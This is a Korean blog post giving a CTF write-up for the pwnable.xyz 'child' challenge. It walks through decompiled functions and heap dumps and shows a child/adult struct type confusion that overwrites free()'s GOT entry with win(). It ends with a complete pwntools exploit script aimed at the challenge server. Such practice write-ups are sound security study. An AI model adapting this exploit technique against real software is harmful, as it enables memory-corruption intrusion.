[pwnable.xyz] child write up
Analytic
checksec으로 검사 해보니 처음보는 것이 있는데 `fortify: enabled` 이다.
이건 처음봐서 뭔지 모르겠다... 문제 푸는데는 지장 없는듯..?
`create_child()` 함수를 보면 18세 이하만 조건을 통과 할 수 있는데, 조건을 통과하면 `child`의 구조체가 만들어진다.
void create_child(){
__printf_chk(1, "Age: ")
int64_t rax_1 = read_int32()
uint64_t rax_7
if (rax_1:0.d u> 0x12)
rax_7 = puts("Not a child.")
else
void* rax_2 = malloc(0x20)
*(rax_2 + 0x18) = sx.q(rax_1:0.d)
*(rax_2 + 8) = 1
*rax_2 = malloc(0x10)
__printf_chk(1, "Name: ")
read(0, *rax_2, 0x10)
*(rax_2 + 0x10) = malloc(0x20)
__printf_chk(1, "Job: ")
read(0, *(rax_2 + 0x10), 0x20)
if (*town == 0)
rax_7 = 0
else
void* rdx_1 = data_602288
rax_7 = 1
while (*rdx_1 != 0)
rax_7 = zx.q(rax_7:0.d + 1)
rdx_1 = rdx_1 + 8
if (rax_7:0.d == 0xa)
puts("Town full.")
exit(1)
noreturn
rax_7 = sx.q(rax_7:0.d)
*(town + (rax_7 << 3)) = rax_2
return rax_7
}
`child` 의 구조는 다음과 같다. `0x603260` 를 rax라고 표기하고 설명하겠다.
- `rax`: 이름의 주소
- `rax+0x8`: 어린이(1) 인지 성인(2) 인지를 나타내기 위한 값
- `rax+0x10`: 직업의 주소
- `rax+0x18`: 나이
gdb-peda$ x/20gx 0x603260
0x603260: 0x0000000000603290 0x0000000000000001
0x603270: 0x00000000006032b0 0x0000000000000012
0x603280: 0x0000000000000000 0x0000000000000021
0x603290: 0x0000000a41414141 0x0000000000000000
0x6032a0: 0x0000000000000000 0x0000000000000031
0x6032b0: 0x0000000a42424242 0x0000000000000000
0x6032c0: 0x0000000000000000 0x0000000000000000
0x6032d0: 0x0000000000000000 0x0000000000020d31
`create_adult()` 함수도 마찬가지로 `adult` 구조체가 만들어져 `child` 구조체가 만들어 질 때와 비슷하다.
void create_adult(){
__printf_chk(1, "Age: ")
int64_t rax_1 = read_int32()
uint64_t rbp = zx.q(rax_1:0.d)
uint64_t rax_8
if ((rax_1 - 0x12).d u> 0x3e)
rax_8 = puts("Not an adult.")
else
void* rax_3 = malloc(0x20)
*(rax_3 + 0x10) = sx.q(rbp:0.d)
*(rax_3 + 8) = 2
*rax_3 = malloc(0x10)
__printf_chk(1, "Name: ")
read(0, *rax_3, 0x10)
*(rax_3 + 0x18) = malloc(0x20)
__printf_chk(1, "Job: ")
read(0, *(rax_3 + 0x18), 0x20)
if (*town == 0)
rax_8 = 0
else
void* rdx_1 = data_602288
rax_8 = 1
while (*rdx_1 != 0)
rax_8 = zx.q(rax_8:0.d + 1)
rdx_1 = rdx_1 + 8
if (rax_8:0.d == 0xa)
puts("Town full.")
exit(1)
noreturn
rax_8 = sx.q(rax_8:0.d)
*(town + (rax_8 << 3)) = rax_3
return rax_8
}
`child` 구조체와 `adult` 구조체의 차이점은 `rax+0x10` 과 `rax+0x18` 이 서로 바뀌어 있다.
- `rax`: 이름의 주소
- `rax+0x8`: 어린이(1) 인지 성인(2) 인지를 나타내기 위한 값
- `rax+0x10`: 나이
- `rax+0x18`: 직업의 주소
gdb-peda$ x/20gx 0x6032e0
0x6032e0: 0x0000000000603310 0x0000000000000002
0x6032f0: 0x0000000000000015 0x0000000000603330
0x603300: 0x0000000000000000 0x0000000000000021
0x603310: 0x0000000a43434343 0x0000000000000000
0x603320: 0x0000000000000000 0x0000000000000031
0x603330: 0x0000000a44444444 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000020cb1
`age_up()` 함수는 나이를 +1 해준다. 문제는 나이만 올려서 `rax+0x8`의 값은 아이가 성인이 되어도 `0x1` 로 고정이다.
void age_up(){
__printf_chk(1, "Person: ")
int64_t rax_1 = read_int32()
void* rax_3
if (rax_1:0.d u> 0xa)
rax_3 = puts("Outside of town.")
else
rax_3 = *(town + (sx.q(rax_1:0.d) << 3))
if (rax_3 == 0)
rax_3 = puts("Does not exist. Probably abducte…")
else
int64_t rdx_1 = *(rax_3 + 8)
if (rdx_1 == 1)
*(rax_3 + 0x18) = *(rax_3 + 0x18) + 1
else if (rdx_1 == 2)
*(rax_3 + 0x10) = *(rax_3 + 0x10) + 1
return rax_3
}
`transform_person()` 함수는 사람의 이름과 직업을 바꿀수 있다. 이때 그 사람의 나이를 확인하는데,
어린이는 `*(rax+0x18) > 0x11` 이면 `*(rax+0x8) += 1` 하고,
성인은 ` *(rax+0x10) - 0x13 <= 0x3d ` 이면 ` *(rax+0x8) += 1 ` 하게 된다.
void transform_person(){
__printf_chk(1, "Person: ")
int64_t rax_1 = read_int32()
int64_t rax_3
if (rax_1:0.d u> 0xa)
rax_3 = puts("Outside of town.")
else
int64_t* rbx_1 = *(town + (sx.q(rax_1:0.d) << 3))
if (rbx_1 == 0)
rax_3 = puts("Does not exist. Probably abducte…")
else
rax_3 = *(rbx_1 + 8)
if (rax_3 == 1)
__printf_chk(1, "Name: ", town)
read(0, *rbx_1, 0x10)
__printf_chk(1, "Job: ")
read(0, *(rbx_1 + 0x10), 0x20)
int64_t rax_6
rax_6:0.b = *(rbx_1 + 0x18) u> 0x11
rax_3 = zx.q(zx.d(rax_6:0.b)) + 1
*(rbx_1 + 8) = rax_3
else if (rax_3 == 2)
__printf_chk(1, "Name: ", town)
read(0, *rbx_1, 0x10)
__printf_chk(1, "Job: ")
read(0, *(rbx_1 + 0x18), 0x20)
int64_t rax_11
rax_11:0.b = *(rbx_1 + 0x10) - 0x13 u<= 0x3d
rax_3 = zx.q(zx.d(rax_11:0.b)) + 1
*(rbx_1 + 8) = rax_3
return rax_3
}
How To Exploit
접근 방법은 `child` 와 `adult` 의 구조체가 약간 다르고, `age_up()` 함수를 통해 나이만 +1 할 수 있다는 점과,
`transform_person()` 함수를 통해 어린이 <-> 성인 이 가능하다는 것을 알 수 있다.
우선 `child`와 `adult` 구조체를 만든다.
create_child(18, "A", "A")
create_adult(18, "A", "A")
`child` 구조체의 나이를 올린뒤, `transform_person()` 함수를 통해 `child` 구조체를 성인으로 만든다.
age_up(0)
transform_person(0, "A", "A")
그럼 `child` 구조체는 `adult` 구조를 따르며, `age_up()` 함수를 호출하면 `0x603260 + 0x10` 의 값을 +1 하게 된다.
`0x30` 반복하는 이유는 `0x6032e0 - 0x6032b0 = 0x30` 이므로 `0x6032e0`의 값을 Overwrite 하기 위한 작업이다.
for i in range(0x30):
age_up(0)
`*0x603270 = 0x6032e0` 이 되었으면 `0x6032e0` 의 값을 GOT로 Overwrite 하기위해 `transform_person()` 으로
어른 -> 어린이 로 바꿔줘야 한다. 여기서 중요한 점은 `read()` 함수로 직업을 입력할 때 `0x603278` 의 값에 write 하려고 한다. 이때의 값은 `0x13` 이므로 `-1`을 return 한다. 이때 입력하려는 값은 버퍼에 남아 있다가 다음 입력으로 미뤄지니 `7` 이라는 아무런 의미 없는 값으로 적어준다.
transform_person(0, "A", "7")
`child`는 위 코드로 어린이 -> 성인 -> 어린이 로 다시 원래대로 돌아왔다. 다시 `transform_person()` 함수를 호출하면 `0x603270`의 값인 `0x6032e0`에 write 할것이다. 값은 `free()` 함수의 GOT를 적어준다.
이후 맨 처음에 만들어 둔 `adult` 구조체를 `transform_person()` 로 호출하여 `free()` GOT를 `win()` 함수의 주소로 Overwrite 한다.
transform_person(0, "A", p64(e.got["free"]))
transform_person(1, p64(e.symbols["win"]), "A")
`free()` 함수를 호출하기 위해 `delete_person()` 함수를 호출한다. 그러면 `win()` 함수가 실행이 된다.
Delete(0)
Payload
from pwn import *
p = remote("svc.pwnable.xyz" ,"30038")
e = ELF("./challenge")
def create_child(age, name, job):
p.sendlineafter("> ", "2")
p.sendlineafter("Age: ", str(age))
p.sendlineafter("Name: ", name)
p.sendlineafter("Job: ", job)
def create_adult(age, name, job):
p.sendlineafter("> ", "1")
p.sendlineafter("Age: ", str(age))
p.sendlineafter("Name: ", name)
p.sendlineafter("Job: ", job)
def age_up(idx):
p.sendlineafter("> ", "3")
p.sendlineafter("Person: ", str(idx))
def transform_person(idx, name, job):
p.sendlineafter("> ", "5")
p.sendlineafter("Person: ", str(idx))
p.sendlineafter("Name: ", name)
p.sendafter("Job: ", job)
def Delete(idx):
p.sendlineafter("> ", "6")
p.sendlineafter("Person: ", str(idx))
create_child(18, "A", "A")
create_adult(18, "A", "A")
age_up(0)
transform_person(0, "A", "A")
for i in range(0x30):
age_up(0)
transform_person(0, "A", "7")
transform_person(0, "A", p64(e.got["free"]))
transform_person(1, p64(e.symbols["win"]), "A")
Delete(0)
p.interactive()
'🚩CTF' 카테고리의 다른 글
[Google CTF 2020] pasteurize write up (0) | 2020.08.27 |
---|---|
[pwnable.xyz] door write up (0) | 2020.08.10 |
[pwnable.xyz] car shop write up (0) | 2020.08.09 |
[pwnable.xyz] words write up (0) | 2020.08.08 |
[pwnable.xyz] notebook write up (0) | 2020.08.07 |
댓글
이 글 공유하기
다른 글
-
[Google CTF 2020] pasteurize write up
[Google CTF 2020] pasteurize write up
2020.08.27 -
[pwnable.xyz] door write up
[pwnable.xyz] door write up
2020.08.10 -
[pwnable.xyz] car shop write up
[pwnable.xyz] car shop write up
2020.08.09 -
[pwnable.xyz] words write up
[pwnable.xyz] words write up
2020.08.08